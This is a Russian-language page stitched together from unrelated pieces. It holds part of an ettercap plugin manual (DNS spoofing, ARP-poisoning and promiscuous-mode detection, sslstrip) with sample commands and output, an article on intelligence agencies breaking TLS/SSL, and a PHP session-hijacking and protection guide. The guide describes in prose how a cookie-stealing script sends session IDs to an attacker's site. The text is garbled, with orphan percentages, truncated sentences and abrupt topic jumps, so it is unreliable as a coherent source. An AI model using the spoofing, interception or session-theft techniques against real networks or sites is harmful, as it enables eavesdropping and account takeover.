Этот плагин прерывает DNS запросы и отвечает спуфленным (поддельным) ответом. Вы можете выбрать для какого адреса плагин должен ответить редактированием файла etter.dns. Плагин перехватывает A, AAAA, PTR, MX, WINS, SRV и TXT запросы. Если это был A запрос, то имя ищется в файле и возвращается IP адрес (вы можете использовать групповые символы в имени).

Это же применяется и к AAAA запросам.

7.5 find_conn

Очень простой плагин, который прослушивает ARP запросы для показа вам всех целей, с которыми хост хочет общаться. Он также может вам помочь в поисках адресов в неизвестных LAN.

Ettercap -TQzP find_conn ettercap -TQu -i eth0 -P find_conn

7.6 find_ettercap

Пытается идентифицировать пакеты ettercap отправленные в LAN. Он может быть полезным для выявления чьих-то попыток использовать ettercap. Не полагайтесь на него на 100%, поскольку тесты срабатывают только на конкретные последовательности/идентификационные числа.

7.7 scan_poisoner

Проверят, травит ли кто-нибудь между какими-либо хостами в списке и нами. Для начала он проверяет, имеют ли два хоста в списке одинаковый mac адрес. Это может означать, что один из них травит нас притворяясь другим. Он может сгенерировать много ложных срабатываний в прокси-arp окружении. Вы должны построить список хостов для выполнения этой проверки. После этого он отправляет icmp эхо пакеты каждому хосту в списке и проверяет, отличается ли mac адрес источника ответа адреса, который мы сохранили в списке с этим IP. Это может означать, что кто-то травит этот хост претворяясь, что имеет наш IP адрес и перенаправляет перехваченный пакеты нам. Вы не можете выполнить этот активный тест в unoffensive (безобидном) режиме.

Ettercap -TQP scan_poisoner //

7.8 search_promisc

Он пытается найти, сниффит (прослушивает) ли кто-нибудь в неразборчивом режиме. Он отправляет два разных плохо сформированных arp запроса каждой цели в списке хостов и ждёт ответов. Если ответ пришёл от целевого хоста, это более или менее вероятно, что эта цель имеет сетевую карту в неразборчивом режиме. Он может генерировать ложные тревоги. Вы можете запустить его как из командной строки или из меню плагинов. Поскольку он прослушивает arp ответы, будет лучше, если вы не будете использовать их во время отправки arp запросов.

Ettercap -TQP search_promisc /192.168.0.1/ ettercap -TQP search_promisc //

Пример удачного угадывания двух сетевых карт, находящихся в неразборчивом режиме:

Развернуть

Root@HackWare:~# ettercap -TQP search_promisc ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 08:00:27:AF:30:B9 192.168.1.35/255.255.255.0 fe80::a00:27ff:feaf:30b9/64 SSL dissection needs a valid "redir_command_on" script in the etter.conf file Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 20388 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Lua: no scripts were specified, not starting up! Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * |==================================================>| 100.00 % 5 hosts added to the hosts list... Starting Unified sniffing... Text only Interface activated... Hit "h" for inline help Activating search_promisc plugin... search_promisc: Searching promisc NICs... Less probably sniffing NICs: - 192.168.1.36 - 192.168.1.34 Most probably sniffing NICs: - NONE Closing text interface... Terminating ettercap... Lua cleanup complete! Unified sniffing was stopped.

7.9 sslstrip

Во время выполнения SSL mitm атаки, ettercap подменяет реальный ssl сертификат на свой собственный. Фальшивый сертификат создаётся на лету и все поля заполнены в соответствии с представленным сервером реальным сертификатом.

(62%)

(56.5%)

(RANDOM - 0.2%)

В последние годы происходит перелом тренда в стратегии атак спецслужб на важнейший для интернета протокол безопасности TLS/SSL. Отныне прямая криптографическая атака и взлом — уже не только крайняя, но зачастую не нужная в рамках современного мира мера, где главной движущей силой становятся деньги и финансовая выгода.

В силу важности этой проблематики в рамках серии публикаций сайт предлагает обзор безопасности стэка протоколов TLS/SSL, параллельно рассмотрев последовательные и систематические стратегии ослабления этих протоколов со стороны спецслужб.

Треть защищённого трафика в мире сгенерировано криптографическими средствами с заведомо ослабленным ГПСЧ?

Снятые с канала

В качестве затравки обратимся к российскому примеру — последнему судебному заседанию по делу бывшего владельца платежной системы Chronopay Павла Врублёвского , обвинённого в DDoS-атаке против «Аэрофлота».

Суть ключевого сюжета сводилась к тому, что суд затребовал внутреннюю переписку между участниками этого уголовного процесса, которую они вели через личные аккаунты в Facebook. Несмотря на то, что там содержалась важнейшая изобличительная информация, коварная американская социальная сеть не вняла просьбе российского правосудия и отказала в доступе к приватной переписке граждан РФ. И тут происходит тот самый драматичный перелом в этой истории — ФСБ в исполнении решения суда самостоятельно «добывает» переписку этих граждан.

«ЦИБ ФСБ, в соответствие с Законом «Об оперативно-розыскной деятельности» осуществил самостоятельный съем информации с каналов связи указанных лиц и записал её на DVD-диск».

Действительно, впоследствии сторона защиты смогла убедиться, что необходимая личная переписка была «изъята из сети в полной мере и объёме» вопреки воле Facebook. При этом сами фигуранты сего дела отрицали предоставление следствию своих паролей и обличающей себя переписки. В Рунете можно найти кричащие новостные заголовки типа «ФСБ России взломало серверы Facebook» , но не следует забегать с выводами настолько далеко.

Во-первых, все сеансы связи с Facebook осуществляются исключительно по защищённому протоколу связи HTTPS. Во-вторых, с момента последних контактов подсудимых и данного решения суда (и, следовательно, следственных действий ФСБ по исполнению данного решения) прошло достаточно много времени. С какого такого «канала» можно было «снять» эти «данные из прошлого», если сами фигуранты в сеть с тех пор не выходили, находясь под следствием?

Эти прямые вопросы, заданные на суде к представителям ФСБ, они проигнорировали. Наиболее очевидная версия ответа напрашивалась сама: HTTPS-трафик с данной перепиской был заранее проснифан/сохранен ФСБ и каким-то образом впоследствии взломан.

Интересно, что ранее в материалах этого же дела зафиксирован почти аналогичный случай. ЦИБ ФСБ, цитируя протокол следствия, «путём сохранения и анализа трафика интернет-подключения одного из обвиняемых восстановил логин и пароль от панели управления ботсети» (физически расположенной на сервере в США), после чего перехватил удаленный контроль над этим ботнетом. Так вот, доступ к той самой веб-панели осуществлялся обвиняемым опять же исключительно по зашифрованному HTTPS-соединению с соблюдением мер предосторожности (например, без сохранения паролей на своем локальном компьютере).

Таким образом, констатируем наличие проблем с безопасностью HTTPS, приводя поразительные случаи преодоления «защиты» TLS/SSL со стороны российских спецслужб.

Modus Operandi

Чтобы взломать зашифрованную HTTPS-сессию, потребуется решить две главные задачи: иметь возможность прослушивать (перехватывать) трафик, а также суметь расшифровать инкапсулированные в такой защищённый пакет данные.

На первом моменте подробно останавливаться не будем, поскольку физический доступ к практически любым каналам у спецслужб есть. Те, кто следит за последними новостями «СОРМостроения», уже в курсе , что в соответствии с новым законом с 1 июля 2014 г. все российские провайдеры обязаны установить на свои сети спецоборудование для записи и хранения своего транзитного интернет-трафика в полном объёме на срок не менее 12 часов. Причем силовики получат прямой доступ ко всем сохраняемым и транзитным массивам данных.

Gmail мне пишет: "Возможно, ваш аккаунт или компьютер подвергся воздействию со стороны хакеров, поддерживаемых определенными государствами"

— Roman Dobrokhotov (@Dobrokhotov) September 9, 2014

Если же говорить о прослушке HTTPS-сессий, то сразу отметим важный момент — необходимость «активного режима» прослушивания в некоторых случаях, потому как сохраненный трафик не всегда может быть взломан позже. Речь идёт о так называемом режиме прогрессивной секретности (forward secrecy, FS) для протокола HTTPS, который предотвращает возможность восстановления данных после окончания сеанса связи (даже если впоследствии злоумышленник сможет получить валидные ключи сайта). Наличие такого режима обязывает злоумышленника «ковать железо пока оно горячо» - то есть, взламывать данные в режиме реального времени, что в подавляющем большинстве случаев вряд ли технически возможно.

Плохая новость заключается в том, что Facebook, равно как и большинство других крупных интернет-порталов, не используют режим forward secrecy потому, что он создает дополнительную серьёзную нагрузку для и так перегруженной социальной махины. Кроме того, использование подобных продвинутых DH-алгоритмов может негативно влиять на совместимость с некоторыми популярными браузерами. Теперь легко понять, почему согласно статистике Netcraft по состоянию на лето 2013, примерно 70-99 % наблюдаемых в рамках данного мониторинга SSL-соединений вообще не использовали FS.

То есть, в подавляющем большинстве случаев злоумышленник может спокойно сохранять ваш HTTPS-трафик для его последующего ковыряния и взлома (например, когда станет известен приватный серверный ключ).

Выше показан замер падения производительности на 6-ядерном процессоре веб-сервера с включенным и соответственно отключенным режимом DHE. DHE выбран как самый популярный и образцовый пример реализации Perfect Forward Secrecy. Например, компания Google , сервисы которой поддерживают практически все крипто-инновации и средства защиты своих пользователей (это яркое исключение из общей интернет-практики), реализует недолговечные («эфемерные») сеансовые ключи PFS как раз на базе ECDHE_RSA. И это очень, очень дорогое удовольствие, поверьте!

Учитывая данное замечание, будем считать, что с перехватом трафика всё более-менее ясно . Теперь рассмотрим, что делать дальше с сохраненным шифрованным потоком.

Представляется, общий алгоритм в этом случае будет выглядеть примерно так: при перехвате интересующего трафика HTTPS-сессии гипотетическими спецслужбами их информационная система получает запрос поиска соответствующего серверного ключа к своей базе данных. Если такой ключ не найден, он ставится в очередь на дальнейшее вычисление (взлом). С учётом замечания о фактической недоступности опции FS, интересующий трафик всегда есть смысл молча накапливать (записывать), не дожидаясь реакции системы о готовности/доступности ключа для дешифровки в режиме реального времени.

Что касается упомянутой базы данных из серверных ключей, то ещё летом 2013 года издание Cnet опубликовало информацию и документ-пример запроса АНБ в адрес крупной интернет-компании, пожелавшей остаться неизвестной. Согласно этому источнику стало известно, что такие же запросы получали в свой адрес и другие крупные интернет-площадки (Google, Microsoft, Apple, Yahoo, AOL, Verizon, AT&T и др.). Cnet официально обратилось в эти организации с просьбой прокомментировать факт подобного запроса, но в подавляющем большинстве случаев компании отказались как подтвердить, так и опровергнуть подобное взаимодействие с АНБ.

«В очередной раз вытираю ноги о миф, что открытость исходников - это путь к надёжности. Этой ошибке в Debian OpenSSL было почти два года».

Действительно, закрыть данную уязвимость удалось лишь после поднятого шума в прессе. Сам же проект Debian назвал ситуацию с давним багом в своём репозитории OpenSSL «довольно странной историей».

Если же говорить о пресловутых аппаратных «закладках», то в последнее время они расцвели буйным цветом уже в самых неожиданных местах: от утюгов до кофемашин. Так по данным Spiegel , специальное управление АНБ «Операции специального доступа» (Tailored Access Operations, TAO) долгое время осуществляло массовый перехват купленного самыми разными компаниями и странами компьютерного (и не только) оборудования по пути от поставщика к адресату. При этом перехваченное оборудование, отгруженное интересующему АНБ заказчику, оперативно проходило через секретную «фабрику» TAO, где в него внедрялось модифицированное ПО или «жучки». Такое вмешательство в процесс поставок в собственных целях, обозначаемое спецтермином «интердикция», оценивался самой АНБ как один из «наиболее эффективных видов современных операций».

NSA plans to infect potentially millions of computers with malware as part of its Tailored Access Operations

Способы взлома и защиты сессии от кражи

Большинство сайтов в сети интернет открыто для внешних воздействий со стороны хакеров. Даже масштабные дорогие интернет проекты взламывают: оставляют следы или уводят базу данных. В результате страдает владелец ресурса, а так же посетители.

Чтобы избежать проблем взлома требуется выполнить ряд мер во время разработки . Некоторые профилактические действия нужно проводить в процессе работы сайта.

В прошлых статьях я показал, как выполняются , а так сервера. Сегодня речь пойдет о перехвате и защите сессий взломщиками.

Сессия сайта

PHP – наверное, самый распространенный серверный язык программирования для сайтов. В php сессия сайта стартует с помощью команды session_start(). Перед стартом можно указать дополнительные параметры. В сессии обычно хранят важную личную информацию о пользователе: логин, имя, пароль,..

Перехват Сессии

Есть 2 способа хранения идентификатора сессии: в куках и в адресной строке. Первый вариант более надежный, чем второй, однако оба поддаются взлому в той или иной степени. Данный вид взлома называется перехват сессии.

Пусть идентификатор хранится в урле сайта. Залогинившийся посетитель, гуляя по страницам вашего сайта, решает с кем-то . Публикуя ссылку, он отдает ссылку со своим идентификатором сессии. Если на сайте отсутствуют какие-либо дополнительные методы защиты, то, перейдя по такой ссылке, новый посетитель уже будет залогинен под первым пользователем, если сессия еще не закончилась. Далее делай на сайте что хочешь в разрешенных правилами рамках.

С куками дела обстоят сложнее, но тоже все достаточно легко перехватывается. Многие сайты при публикации информации пользователями не фильтруют браузерные скрипты. Потенциальный взломщик размещает такой скрипт на странице. Залогиненный посетитель заходит на страницу… Скрипт считывает значение кук или адресную строку и передает идентификатор сессии на другой сайт. Другой сайт принадлежит хакеру. Далее все просто. Подделывается кука или вводится адрес страницы сайта с нужным идентификатором сессии.

Взлом сессии

При старте сессии во временной директории создаются файлы сессии. В этих файлах хранится информация. Если используется , то, обычно, временная папка для хранения сессий общая у всех сайтов на сервере. Далее определенным образом выполняется считывание данных сессии своим скриптом. Для этого злоумышленник должен иметь аккаунт на этом же сервере. В результате, если в сессии хранится пароль от сайта или номер кредитки с cvv кодом, то все эта полезная информация попадет в руки злоумышленника.

Защита от взлома данных сессии

Хранить сессию в куках. Сложнее увести.
Привязывать сессию к ip адресу компьютера. При заходе с другого ip создается новая сессия в зависимости от настроек скрипта.
Привязывать сессию к юзер агенту браузера. При заходе с другого браузера сессия обнуляется.
Шифровать передаваемые в сессию параметры. Если злоумышленник получит файл сессии, то он не сможет его прочитать. Хотя при наличии определенных навыков, расшифровать сессию тоже возможно.
Хранить идентификаторы сессии в отдельной папке. В php для этого существует команда session_save_path($path_to_dir). Эту же настройку можно прописать в файле php.ini. Параметр называется session.save_path.
Использовать session_set_save_handler() в php для переопределения способа хранения сессии. А начиная с PHP 5.4 можно передать объект типа SessionHandlerInterface в session_set_save_handler().